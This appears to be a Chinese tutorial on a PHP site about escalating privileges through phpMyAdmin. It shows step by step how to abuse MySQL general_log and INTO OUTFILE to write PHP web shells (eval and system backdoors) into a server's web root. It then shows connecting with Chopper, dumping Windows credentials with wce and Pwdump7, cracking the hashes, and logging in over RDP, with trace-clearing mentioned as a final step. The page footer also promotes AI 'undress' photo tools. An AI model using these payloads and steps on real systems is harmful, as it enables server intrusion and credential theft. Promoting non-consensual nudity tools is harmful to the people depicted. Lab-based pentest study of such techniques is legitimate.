目录
0×00 定义" >0×00 定义
0×01 环境准备" >0×01 环境准备
0×02  开始渗透" >0×02  开始渗透
a 收集有用信息" >a 收集有用信息
b  检测插入条件" >b  检测插入条件
c 转换思路" >c 转换思路
d 获取管理员密码" >d 获取管理员密码
0×00 直接获取明文" >0×00 直接获取明文
0×01 获取hash值" >0×01 获取hash值
e 查看3389是否开启" >e 查看3389是否开启
f  登陆服务器" >f  登陆服务器
0×03 扩展" >0×03 扩展
a 配置my.ini文件(不对应网站根路径)" >a 配置my.ini文件(不对应网站根路径)
b 配置my.ini文件(对应网站根路径)" >b 配置my.ini文件(对应网站根路径)
c 导出具有命令权限的Shell的php文件" >c 导出具有命令权限的Shell的php文件
0×04 总结" >0×04 总结
首页 数据库 php我的管理员 关于phpMyadmin提权那些事

关于phpMyadmin提权那些事

Jan 11, 2021 pm 03:04 PM
phpmyadmin

下面由phpmyadmin教程栏目给大家介绍关于phpMyadmin提权那些事,希望对需要的朋友有所帮助!

关于phpMyadmin提权那些事

引言:在渗透测试过程中获知到phpMyadmin的账号密码,如何进行提权呢?往下看,我今天和你说说phpMyadmin提权那些事。

0×00 定义

        phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

0×01 环境准备

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
登录后复制

0×02  开始渗透

我们经过弱口令,爆破,目录泄露等途径已经获知PhpMyadmin的账号密码是root  root。接下来我们就通过phpMyadmin来提权,尽可能贴近真实,多讲思路。

a 收集有用信息

image.pngimage.png

如上图所示,我们可以获取到以下有用信息。

  • 1.操作系统是windows server 2003 x86
  • 2.服务器是Apache 2.4.32
  • 3.网站默认路径是 E:\phpStudy\PHPTutorial\WWW
  • 4.PHP版本是 5.45
  • 5.mysql版本是 5.5.53

b  检测插入条件

在上面我们已经获知了网站默认的路径是E:\phpstudy\PHPTutorial\WWW,这个时候我们肯定想插入一句话后门文件或者是导出shell。那如果我们需要使用以上两种思路中的一种必须满足一个前提条件“secure_file_priv”对应的值不能为空且必须为默认网站的路径,所以我们必须提前检测一下“secure_file_priv”的值。

phpMyadmin执行以下命令:

SHOW VARIABLES LIKE “secure_file_priv”;

结果如图所示:

image.png

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

image.png

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

image.png

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

image.png

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
登录后复制

image.png

image.png


紧接着我们可以看到在网站根路径下找到我们生成的伪日记文件infos.php。

image.png

然后我们就得插入我们的一句话后门了。

select ‘’;

image.png

我们可以尝试使用菜刀连接,成功连接。

image.png

d 获取管理员密码

0×00 直接获取明文

我们上传wce.exe获取明文密码。运气贼好,直接获取到明文(11位字母和数字混合的密码)。如果不能直接获取明文那就得走第二条获取hash值然后解密了。

image.png

0×01 获取hash值

上传Pwdump7.exe获取hash值保存到password.txt文件中。获取hash值可以选择在线http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出来就用Ophcrack导入彩虹表跑吧。

image.png

image.png


e 查看3389是否开启

直接在菜刀终端输入“netstat -an | find “3389″ 或者“netstat -an ”。

image.png

发现3389没开,但是3390就开了,我们尝试连接一下。

f  登陆服务器

运行mstsc开启远程桌面。

image.png

image.png


输入上面获取到的账号和密码,成功登陆。
image.png

最后肯定是要清楚痕迹的,但我这里就不写了,写的内容也是贼多了

0×03 扩展

上面演示了secure_file_priv值为空的情况,那么如果secure_file_priv不为空那我们该怎么办?

a 配置my.ini文件(不对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/MYSQL/”

image.png

image.png


尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

image.png

image.png



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

image.png

然后我们尝试插入一句话后门,成功插入。

image.png

二话不说菜刀连接。

image.png

image.png


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)
登录后复制

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

image.png

image.png

0×04 总结

本文中的环境是除了没上waf其他都是尽可能地贴近真实环境,模拟真实的环境给大家去分析和讲解思路,希望大家有所收获。

以上是关于phpMyadmin提权那些事的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Java教程
1664
14
CakePHP 教程
1422
52
Laravel 教程
1316
25
PHP教程
1267
29
C# 教程
1239
24
phpmyadmin怎么设置主键 phpmyadmin怎么设置主键 Apr 07, 2024 pm 02:54 PM

表的主键是一列或多列,用于唯一标识表中每条记录。设置主键的步骤如下:登录 phpMyAdmin。选择数据库和表。勾选要作为主键的列。点击 "保存更改"。主键具有数据完整性、查找速度和关系建模方面的好处。

phpmyadmin日志在哪里 phpmyadmin日志在哪里 Apr 07, 2024 pm 12:57 PM

PHPMyAdmin日志文件的默认位置:Linux/Unix/macOS:/var/log/phpmyadminWindows:C:\xampp\phpMyAdmin\logs\日志文件用途:故障排除审计安全性

phpmyadmin怎么添加外键 phpmyadmin怎么添加外键 Apr 07, 2024 pm 02:36 PM

在 phpMyAdmin 中添加外键可以通过以下步骤实现:选择包含外键的父表。编辑父表结构,在“列”中添加新列。启用外键约束,选择引用表和键。设置更新/删除操作。保存更改。

phpmyadmin怎么删除数据表 phpmyadmin怎么删除数据表 Apr 07, 2024 pm 03:00 PM

phpMyAdmin 中删除数据表的步骤:选择数据库和数据表;点击“操作”选项卡;选择“删除”选项;确认并执行删除操作。

wordpress的数据库存在什么地方 wordpress的数据库存在什么地方 Apr 15, 2024 pm 10:39 PM

WordPress 数据库位于 MySQL 数据库中,存储着所有网站数据,可以通过托管提供商的仪表板、FTP 或 phpMyAdmin 访问。数据库名称与网站 URL 或用户名相关,访问需要使用数据库凭据,包括名称、用户名、密码和主机名,这些凭据通常存储在“wp-config.php”文件中。

为什么phpmyadmin拒绝访问 为什么phpmyadmin拒绝访问 Apr 07, 2024 pm 01:03 PM

phpMyAdmin 拒绝访问的原因及解决方案:认证失败:检查用户名和密码是否正确。服务器配置错误:调整防火墙设置,检查数据库端口是否正确。权限问题:授予用户对数据库的访问权限。会话超时:刷新浏览器页面重新连接。phpMyAdmin 配置错误:检查配置文件和文件权限,确保启用了必需的 Apache 模块。服务器问题:等待一段时间后再重试或联系主机提供商。

phpmyadmin账号密码是什么 phpmyadmin账号密码是什么 Apr 07, 2024 pm 01:09 PM

PHPMyAdmin 的默认用户名和密码为 root 和空。为了安全起见,建议更改默认密码。更改密码的方法:1. 登录 PHPMyAdmin;2. 选择 "privileges";3. 输入新密码并保存。忘记密码时,可通过停止 MySQL 服务并编辑配置文件的方式重置密码:1. 添加 skip-grant-tables 行;2. 登录 MySQL 命令行并重置 root 密码;3. 刷新权限表;4. 删除 skip-grant-tables 行,重启 MySQL 服务。

phpmyadmin关联视图在哪 phpmyadmin关联视图在哪 Apr 07, 2024 pm 01:00 PM

可以在 phpMyAdmin 中“结构”选项卡下的“视图”子菜单中找到关联视图。要访问它们,只需选择数据库、点击“结构”选项卡、然后点击“视图”子菜单。

See all articles